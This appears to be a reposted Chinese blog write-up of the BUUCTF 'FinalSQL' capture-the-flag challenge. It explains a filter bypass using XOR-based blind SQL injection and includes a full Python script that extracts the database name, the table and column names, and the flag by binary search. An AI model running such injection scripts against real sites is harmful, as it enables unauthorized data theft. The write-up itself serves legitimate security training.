博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
BUUCTF [极客大挑战 2019]FinalSQL
阅读量:2066 次
发布时间:2019-04-29

本文共 2297 字,大约阅读时间需要 7 分钟。

  • 12345都点过了 访问id=6 提示
  • Clever! But not this table.
  • 这里猜测id这里存在SQL注入,而不是以前的登录框
  • 初步判断了一下,是一个数字型注入 且过滤了一些字符 需要fuzz一下
    在这里插入图片描述
  • 空格被过滤掉了用() union注入这些也被过滤的差不都了
  • FinalSQL可以想想到应该是盲注类型的题目 嘿嘿嘿
  • ^没有被过滤 可以在这里去搞点事情做做
  • 题目有提示是盲注 所以这种题目还是跑脚本
import requestsimport sysimport timedef get_DBlen(url):    for i in range(1,10):        db_url = url+"1^1^(length(database())=%d)#"%i        r = requests.get(db_url)        if "Click" in r.text:            print("数据库名称的长度为:%d"%i)            return idef get_DBname(url,length):    DBname = ""    length = length + 1    for i in range(1,length):        Max = 122        Min = 41        Mid = (Max+Min)//2        while Min <= Max:            # 爆表名            db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)            r = requests.get(db_url)            if "Click" in r.text:                Min=Mid+1                Mid=(Min+Max)//2                pass            else:                Max = Mid-1                Mid = (Min+Max)//2                pass            pass        DBname = DBname + chr(Mid)    print(DBname)    return DBnamedef get_TBname(url):    name=""    i = 0    while True:        i = i+1        Max = 128        Min = 32        Mid = (Max+Min)//2        while Min <= Max:            # 爆表名            # db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)            # 爆字段名            # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)            # 获取flag            db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)            r = requests.get(db_url)            if "Click" in r.text:                Min=Mid+1                Mid=(Min+Max)//2                pass            else:                Max=Mid-1                Mid=(Min+Max)//2                pass            pass        name=name+chr(Mid)        print(name)        if Mid == 31:            break        time.sleep(0.5)if __name__=="__main__":    url = "http://ff1a7c21-003a-43f1-85ec-8bbd9c55b53a.node3.buuoj.cn/search.php?id="    db_Len = get_DBlen(url)    db_Name = get_DBname(url,db_Len)    tb_name = get_TBname(url)
  • 我吐槽一下,这个脚本我跑flag的时候跑错了两三次 最后手改的…
  • 改了脚本

转载地址:http://rywmf.baihongyu.com/

你可能感兴趣的文章
Eclipse使用(十一)—— 使用Eclipse创建简单的Maven JavaWeb项目
查看>>
Intellij IDEA使用(十三)—— 在Intellij IDEA中配置Maven
查看>>
面试题 —— 关于main方法的十个面试题
查看>>
集成测试(一)—— 使用PHP页面请求Spring项目的Java接口数据
查看>>
使用Maven构建的简单的单模块SSM项目
查看>>
Intellij IDEA使用(十四)—— 在IDEA中创建包(package)的问题
查看>>
Redis学习笔记(四)—— redis的常用命令和五大数据类型的简单使用
查看>>
Kubelet 中的 “PLEG is not healthy” 到底是个什么鬼?
查看>>
让我们来看看回到单体的 Istio 到底该怎么部署
查看>>
两个奇技淫巧,将 Docker 镜像体积减小 99%
查看>>
Istio 1.5 部署指南修正版
查看>>
不要轻易使用 Alpine 镜像来构建 Docker 镜像,有坑!
查看>>
Kubectl exec 背后到底发生了什么?
查看>>
程序员涨薪宝典
查看>>
什么?终止一个容器竟然用了 10 秒钟,这不能忍!
查看>>
Openshift 4.4 静态 IP 离线安装系列(一):准备离线资源
查看>>
万字长文,说透了 Openshift4 的安装过程!
查看>>
Envoy 中文指南系列:Envoy 介绍
查看>>
[译] BeyondProd:云原生安全的一种新方法(Google, 2019)
查看>>
什么?VMware Fusion 也能 docker run 了?
查看>>